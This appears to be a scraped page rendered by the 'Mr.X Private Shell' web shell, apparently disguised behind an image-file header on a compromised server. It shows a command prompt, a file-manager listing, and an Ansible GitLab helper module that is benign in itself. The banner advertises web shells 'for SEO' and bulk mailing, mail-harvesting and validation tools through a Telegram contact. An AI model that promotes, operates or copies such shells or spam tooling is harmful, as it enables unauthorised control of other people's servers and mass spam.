����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright (c) 2019, Guillaume Martinez (lunik@tiwabbit.fr)
# Copyright (c) 2018, Marcus Watkins <marwatk@marcuswatkins.net>
# GNU General Public License v3.0+ (see LICENSES/GPL-3.0-or-later.txt or https://www.gnu.org/licenses/gpl-3.0.txt)
# SPDX-License-Identifier: GPL-3.0-or-later

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.module_utils.basic import missing_required_lib
from ansible.module_utils.common.text.converters import to_native
from ansible.module_utils.six import integer_types, string_types

from ansible_collections.community.general.plugins.module_utils.version import LooseVersion

try:
    from urlparse import urljoin
except ImportError:
    from urllib.parse import urljoin  # Python 3+

import traceback

GITLAB_IMP_ERR = None
try:
    import gitlab
    import requests
    HAS_GITLAB_PACKAGE = True
except Exception:
    gitlab = None
    GITLAB_IMP_ERR = traceback.format_exc()
    HAS_GITLAB_PACKAGE = False


def auth_argument_spec(spec=None):
    arg_spec = (dict(
        api_token=dict(type='str', no_log=True),
        api_oauth_token=dict(type='str', no_log=True),
        api_job_token=dict(type='str', no_log=True),
    ))
    if spec:
        arg_spec.update(spec)
    return arg_spec


def find_project(gitlab_instance, identifier):
    try:
        project = gitlab_instance.projects.get(identifier)
    except Exception as e:
        current_user = gitlab_instance.user
        try:
            project = gitlab_instance.projects.get(current_user.username + '/' + identifier)
        except Exception as e:
            return None

    return project


def find_group(gitlab_instance, identifier):
    try:
        project = gitlab_instance.groups.get(identifier)
    except Exception as e:
        return None

    return project


def ensure_gitlab_package(module):
    if not HAS_GITLAB_PACKAGE:
        module.fail_json(
            msg=missing_required_lib("python-gitlab", url='https://python-gitlab.readthedocs.io/en/stable/'),
            exception=GITLAB_IMP_ERR
        )


def gitlab_authentication(module):
    gitlab_url = module.params['api_url']
    validate_certs = module.params['validate_certs']
    gitlab_user = module.params['api_username']
    gitlab_password = module.params['api_password']
    gitlab_token = module.params['api_token']
    gitlab_oauth_token = module.params['api_oauth_token']
    gitlab_job_token = module.params['api_job_token']

    ensure_gitlab_package(module)

    try:
        # python-gitlab library remove support for username/password authentication since 1.13.0
        # Changelog : https://github.com/python-gitlab/python-gitlab/releases/tag/v1.13.0
        # This condition allow to still support older version of the python-gitlab library
        if LooseVersion(gitlab.__version__) < LooseVersion("1.13.0"):
            gitlab_instance = gitlab.Gitlab(url=gitlab_url, ssl_verify=validate_certs, email=gitlab_user, password=gitlab_password,
                                            private_token=gitlab_token, api_version=4)
        else:
            # We can create an oauth_token using a username and password
            # https://docs.gitlab.com/ee/api/oauth2.html#authorization-code-flow
            if gitlab_user:
                data = {'grant_type': 'password', 'username': gitlab_user, 'password': gitlab_password}
                resp = requests.post(urljoin(gitlab_url, "oauth/token"), data=data, verify=validate_certs)
                resp_data = resp.json()
                gitlab_oauth_token = resp_data["access_token"]

            gitlab_instance = gitlab.Gitlab(url=gitlab_url, ssl_verify=validate_certs, private_token=gitlab_token,
                                            oauth_token=gitlab_oauth_token, job_token=gitlab_job_token, api_version=4)

        gitlab_instance.auth()
    except (gitlab.exceptions.GitlabAuthenticationError, gitlab.exceptions.GitlabGetError) as e:
        module.fail_json(msg="Failed to connect to GitLab server: %s" % to_native(e))
    except (gitlab.exceptions.GitlabHttpError) as e:
        module.fail_json(msg="Failed to connect to GitLab server: %s. \
            GitLab remove Session API now that private tokens are removed from user API endpoints since version 10.2." % to_native(e))

    return gitlab_instance


def filter_returned_variables(gitlab_variables):
    # pop properties we don't know
    existing_variables = [dict(x.attributes) for x in gitlab_variables]
    KNOWN = ['key', 'value', 'masked', 'protected', 'variable_type', 'environment_scope', 'raw']
    for item in existing_variables:
        for key in list(item.keys()):
            if key not in KNOWN:
                item.pop(key)
    return existing_variables


def vars_to_variables(vars, module):
    # transform old vars to new variables structure
    variables = list()
    for item, value in vars.items():
        if isinstance(value, (string_types, integer_types, float)):
            variables.append(
                {
                    "name": item,
                    "value": str(value),
                    "masked": False,
                    "protected": False,
                    "raw": False,
                    "variable_type": "env_var",
                }
            )

        elif isinstance(value, dict):
            new_item = {
                "name": item,
                "value": value.get('value'),
                "masked": value.get('masked'),
                "protected": value.get('protected'),
                "raw": value.get('raw'),
                "variable_type": value.get('variable_type'),
            }

            if value.get('environment_scope'):
                new_item['environment_scope'] = value.get('environment_scope')

            variables.append(new_item)

        else:
            module.fail_json(msg="value must be of type string, integer, float or dict")

    return variables

Filemanager

Name Type Size Permission Actions
identity Folder 0755
mh Folder 0755
net_tools Folder 0755
oracle Folder 0755
remote_management Folder 0755
source_control Folder 0755
storage Folder 0755
_filelock.py File 3.35 KB 0644
_mount.py File 1.71 KB 0644
_stormssh.py File 8.27 KB 0644
alicloud_ecs.py File 12.38 KB 0644
btrfs.py File 16.95 KB 0644
cloud.py File 8.15 KB 0644
cmd_runner.py File 10.9 KB 0644
consul.py File 812 B 0644
csv.py File 2 KB 0644
database.py File 6.44 KB 0644
deps.py File 2.35 KB 0644
dimensiondata.py File 10.52 KB 0644
gandi_livedns_api.py File 7.4 KB 0644
gconftool2.py File 1023 B 0644
gio_mime.py File 1 KB 0644
gitlab.py File 5.82 KB 0644
heroku.py File 1.25 KB 0644
hwc_utils.py File 12.56 KB 0644
ibm_sa_utils.py File 3.17 KB 0644
ilo_redfish_utils.py File 9.76 KB 0644
influxdb.py File 3.35 KB 0644
ipa.py File 8.38 KB 0644
jenkins.py File 1.06 KB 0644
known_hosts.py File 5.68 KB 0644
ldap.py File 4.88 KB 0644
linode.py File 939 B 0644
locale_gen.py File 871 B 0644
lxd.py File 5.12 KB 0644
manageiq.py File 16.23 KB 0644
memset.py File 4.22 KB 0644
module_helper.py File 1.31 KB 0644
ocapi_utils.py File 20.75 KB 0644
oneandone.py File 9.12 KB 0644
onepassword.py File 872 B 0644
oneview.py File 17.51 KB 0644
online.py File 3.83 KB 0644
opennebula.py File 12.04 KB 0644
pipx.py File 1.72 KB 0644
proxmox.py File 6.94 KB 0644
puppet.py File 3.88 KB 0644
pure.py File 4.07 KB 0644
rax.py File 11.26 KB 0644
redfish_utils.py File 156.71 KB 0644
redhat.py File 10.51 KB 0644
redis.py File 3.14 KB 0644
rundeck.py File 3.34 KB 0644
saslprep.py File 6.67 KB 0644
scaleway.py File 12.96 KB 0644
snap.py File 1.57 KB 0644
ssh.py File 723 B 0644
univention_umc.py File 7.53 KB 0644
utm_utils.py File 9.08 KB 0644
vardict.py File 6.89 KB 0644
version.py File 878 B 0644
vexata.py File 3.14 KB 0644
wdc_redfish_utils.py File 23.09 KB 0644
xenserver.py File 30.1 KB 0644
xfconf.py File 1.33 KB 0644